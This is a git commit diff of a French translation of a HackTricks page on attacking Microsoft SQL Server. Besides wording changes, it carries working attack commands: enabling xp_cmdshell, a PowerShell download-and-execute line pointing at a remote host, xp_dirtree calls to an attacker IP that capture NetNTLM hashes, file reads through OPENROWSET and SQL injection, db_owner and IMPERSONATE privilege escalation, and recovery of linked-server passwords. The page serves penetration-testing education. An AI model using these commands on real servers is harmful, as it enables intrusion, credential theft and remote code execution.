Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-

This commit is contained in:
Translator 2024-06-17 09:25:42 +00:00
parent bb8a902179
commit 2052a015ce

View file

@ -26,7 +26,7 @@ Autres façons de soutenir HackTricks :
D'après [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): D'après [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** est un **système de gestion de base de données relationnelle** développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel ayant pour fonction principale de stocker et de récupérer des données telles que demandées par d'autres applications logicielles - qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\\ > **Microsoft SQL Server** est un **système de gestion de base de données relationnelle** développé par Microsoft. En tant que serveur de base de données, il s'agit d'un produit logiciel ayant pour fonction principale de stocker et de récupérer des données telles que demandées par d'autres applications logicielles - qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\\
**Port par défaut :** 1433 **Port par défaut :** 1433
``` ```
@ -36,7 +36,7 @@ D'après [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
* **Base de données master**: Cette base de données est cruciale car elle capture tous les détails au niveau du système pour une instance SQL Server. * **Base de données master**: Cette base de données est cruciale car elle capture tous les détails au niveau du système pour une instance SQL Server.
* **Base de données msdb**: L'Agent SQL Server utilise cette base de données pour gérer la planification des alertes et des tâches. * **Base de données msdb**: L'Agent SQL Server utilise cette base de données pour gérer la planification des alertes et des tâches.
* **Base de données model**: Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toutes les modifications telles que la taille, la collation, le modèle de récupération, et plus encore, sont reflétées dans les bases de données nouvellement créées. * **Base de données model**: Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toutes les modifications telles que la taille, la collation, le modèle de récupération, et plus encore sont reflétées dans les bases de données nouvellement créées.
* **Base de données Resource**: Une base de données en lecture seule qui contient des objets système fournis avec SQL Server. Ces objets, bien qu'ils soient stockés physiquement dans la base de données Resource, sont présentés de manière logique dans le schéma sys de chaque base de données. * **Base de données Resource**: Une base de données en lecture seule qui contient des objets système fournis avec SQL Server. Ces objets, bien qu'ils soient stockés physiquement dans la base de données Resource, sont présentés de manière logique dans le schéma sys de chaque base de données.
* **Base de données tempdb**: Sert de zone de stockage temporaire pour les objets transitoires ou les ensembles de résultats intermédiaires. * **Base de données tempdb**: Sert de zone de stockage temporaire pour les objets transitoires ou les ensembles de résultats intermédiaires.
@ -87,7 +87,7 @@ msf> use windows/manage/mssql_local_auth_bypass
``` ```
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server) ### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
### Énumération Manuelle ### Énumération manuelle
#### Connexion #### Connexion
```bash ```bash
@ -150,15 +150,15 @@ order by name;
EXEC sp_helpuser EXEC sp_helpuser
SELECT * FROM sysusers SELECT * FROM sysusers
``` ```
#### Obtenir les autorisations #### Obtenir des autorisations
1. **Sécurisable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Ils sont catégorisés en : 1. **Sécurisable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Ils sont catégorisés en :
* **Serveur** Les exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles serveur. * **Serveur** Les exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles serveur.
* **Base de données** Les exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs. * **Base de données** Les exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs.
* **Schéma** Comprend les tables, les vues, les procédures, les fonctions, les synonymes, etc. * **Schéma** Comprend les tables, les vues, les procédures, les fonctions, les synonymes, etc.
2. **Autorisation :** Associées aux sécurisables SQL Server, des autorisations telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des autorisations se fait à deux niveaux : 2. **Autorisation :** Associées aux sécurisables SQL Server, des autorisations telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des autorisations se fait à deux niveaux :
* Au niveau du **serveur** en utilisant les connexions * Au niveau du **serveur** en utilisant des connexions
* Au niveau de la **base de données** en utilisant les utilisateurs * Au niveau de la **base de données** en utilisant des utilisateurs
3. **Principal :** Ce terme fait référence à l'entité à laquelle des autorisations sont accordées pour un sécurisable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle de l'accès aux sécurisables s'effectue par l'octroi ou le refus d'autorisations ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès. 3. **Principal :** Ce terme fait référence à l'entité à laquelle des autorisations sont accordées pour un sécurisable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle de l'accès aux sécurisables s'effectue par l'octroi ou le refus d'autorisations ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
```sql ```sql
# Show all different securables names # Show all different securables names
@ -207,7 +207,7 @@ sp_configure 'xp_cmdshell', '1'
RECONFIGURE RECONFIGURE
#One liner #One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell # Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami' EXEC master..xp_cmdshell 'whoami'
@ -219,7 +219,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
``` ```
### Voler le hachage NetNTLM / Attaque de relais ### Voler le hachage NetNTLM / Attaque de relais
Vous devez démarrer un **serveur SMB** pour capturer le hachage utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple). Vous devriez démarrer un **serveur SMB** pour capturer le hachage utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple).
```bash ```bash
xp_dirtree '\\<attacker_IP>\any\thing' xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing' exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -250,7 +250,7 @@ Vous pouvez voir comment utiliser ces outils dans:
### Abus des liens de confiance MSSQL ### Abus des liens de confiance MSSQL
[**Lisez cet article**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur la façon d'abuser de cette fonctionnalité:** [**Lisez cet article**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur comment abuser de cette fonctionnalité:**
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
@ -258,7 +258,7 @@ Vous pouvez voir comment utiliser ces outils dans:
### **Écrire des fichiers** ### **Écrire des fichiers**
Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** les [**procédures d'automatisation Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier: Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** les [**Procédures d'automatisation Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier:
```bash ```bash
# Enable Ole Automation Procedures # Enable Ole Automation Procedures
sp_configure 'show advanced options', 1 sp_configure 'show advanced options', 1
@ -278,11 +278,11 @@ EXECUTE sp_OADestroy @OLE
``` ```
### **Lire un fichier avec** OPENROWSET ### **Lire un fichier avec** OPENROWSET
Par défaut, `MSSQL` autorise la **lecture de n'importe quel fichier dans le système d'exploitation auquel le compte a un accès en lecture**. Nous pouvons utiliser la requête SQL suivante : Par défaut, `MSSQL` permet la **lecture de n'importe quel fichier dans le système d'exploitation auquel le compte a un accès en lecture**. Nous pouvons utiliser la requête SQL suivante :
```sql ```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
``` ```
Cependant, l'option **`BULK`** nécessite l'autorisation **`ADMINISTER BULK OPERATIONS`** ou **`ADMINISTER DATABASE BULK OPERATIONS`**. Cependant, l'option **`BULK`** nécessite l'autorisation **`ADMINISTER BULK OPERATIONS`** ou l'autorisation **`ADMINISTER DATABASE BULK OPERATIONS`**.
```sql ```sql
# Check if you have it # Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
@ -295,7 +295,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
MSSQL pourrait vous permettre d'exécuter des **scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp\_cmdshell** pour exécuter des commandes. MSSQL pourrait vous permettre d'exécuter des **scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp\_cmdshell** pour exécuter des commandes.
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **qui ne fonctionne pas**: Exemple de tentative d'exécution d'un **'R'** _"Hellow World!"_ **qui ne fonctionne pas**:
![](<../../.gitbook/assets/image (393).png>) ![](<../../.gitbook/assets/image (393).png>)
@ -315,7 +315,7 @@ GO
``` ```
### Lire le Registre ### Lire le Registre
Microsoft SQL Server fournit **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:** Microsoft SQL Server propose **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau, mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Régulier** | **Conscient de l'instance** | | **Régulier** | **Conscient de l'instance** |
| ---------------------------- | -------------------------------------- | | ---------------------------- | -------------------------------------- |
@ -354,7 +354,7 @@ Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que
### De db\_owner à sysadmin ### De db\_owner à sysadmin
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données possédée par un utilisateur administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car des **procédures stockées** créées là-bas peuvent **s'exécuter** en tant que propriétaire (**administrateur**). Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données possédée par un utilisateur administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car des **procédures stockées** créées là-dedans peuvent **s'exécuter** en tant que propriétaire (**administrateur**).
```sql ```sql
# Get owners of databases # Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases SELECT suser_sname(owner_sid) FROM sys.databases
@ -400,7 +400,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
``` ```
### Impersonation d'autres utilisateurs ### Impersonation d'autres utilisateurs
SQL Server dispose d'une permission spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur en cours d'exécution de prendre les permissions d'un autre utilisateur** ou connexion jusqu'à ce que le contexte soit réinitialisé ou que la session se termine. SQL Server dispose d'une permission spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur en cours d'exécution de prendre les permissions d'un autre utilisateur** ou de se connecter jusqu'à ce que le contexte soit réinitialisé ou que la session se termine.
```sql ```sql
# Find users you can impersonate # Find users you can impersonate
SELECT distinct b.name SELECT distinct b.name
@ -416,7 +416,7 @@ SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin') SELECT IS_SRVROLEMEMBER('sysadmin')
``` ```
{% hint style="info" %} {% hint style="info" %}
Si vous pouvez vous faire passer pour un utilisateur, même s'il n'est pas sysadmin, vous devriez vérifier **si l'utilisateur a accès** à d'autres **bases de données** ou serveurs liés. Si vous pouvez vous faire passer pour un utilisateur, même s'il n'est pas sysadmin, vous devriez vérifier si l'utilisateur a accès à d'autres bases de données ou serveurs liés.
Notez qu'une fois que vous êtes sysadmin, vous pouvez vous faire passer pour n'importe qui d'autre : Notez qu'une fois que vous êtes sysadmin, vous pouvez vous faire passer pour n'importe qui d'autre :
{% endhint %} {% endhint %}
@ -443,7 +443,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Extraction de mots de passe à partir des serveurs liés SQL Server ## Extraction de mots de passe des serveurs liés SQL Server
Un attaquant peut extraire les mots de passe des serveurs liés SQL Server à partir des instances SQL et les obtenir en clair, accordant à l'attaquant des mots de passe pouvant être utilisés pour acquérir une empreinte plus importante sur la cible. Le script pour extraire et décrypter les mots de passe stockés pour les serveurs liés peut être trouvé [ici](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) Un attaquant peut extraire les mots de passe des serveurs liés SQL Server à partir des instances SQL et les obtenir en clair, accordant à l'attaquant des mots de passe pouvant être utilisés pour acquérir une empreinte plus importante sur la cible. Le script pour extraire et décrypter les mots de passe stockés pour les serveurs liés peut être trouvé [ici](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
@ -451,7 +451,7 @@ Certaines exigences et configurations doivent être effectuées pour que cette e
Après avoir validé vos autorisations, vous devez configurer trois choses, qui sont les suivantes : Après avoir validé vos autorisations, vous devez configurer trois choses, qui sont les suivantes :
1. Activer TCP/IP sur les instances du serveur SQL ; 1. Activer TCP/IP sur les instances SQL Server ;
2. Ajouter un paramètre de démarrage, dans ce cas, un indicateur de suivi sera ajouté, qui est -T7806. 2. Ajouter un paramètre de démarrage, dans ce cas, un indicateur de suivi sera ajouté, qui est -T7806.
3. Activer la connexion d'administration à distance. 3. Activer la connexion d'administration à distance.
@ -554,9 +554,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks : Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**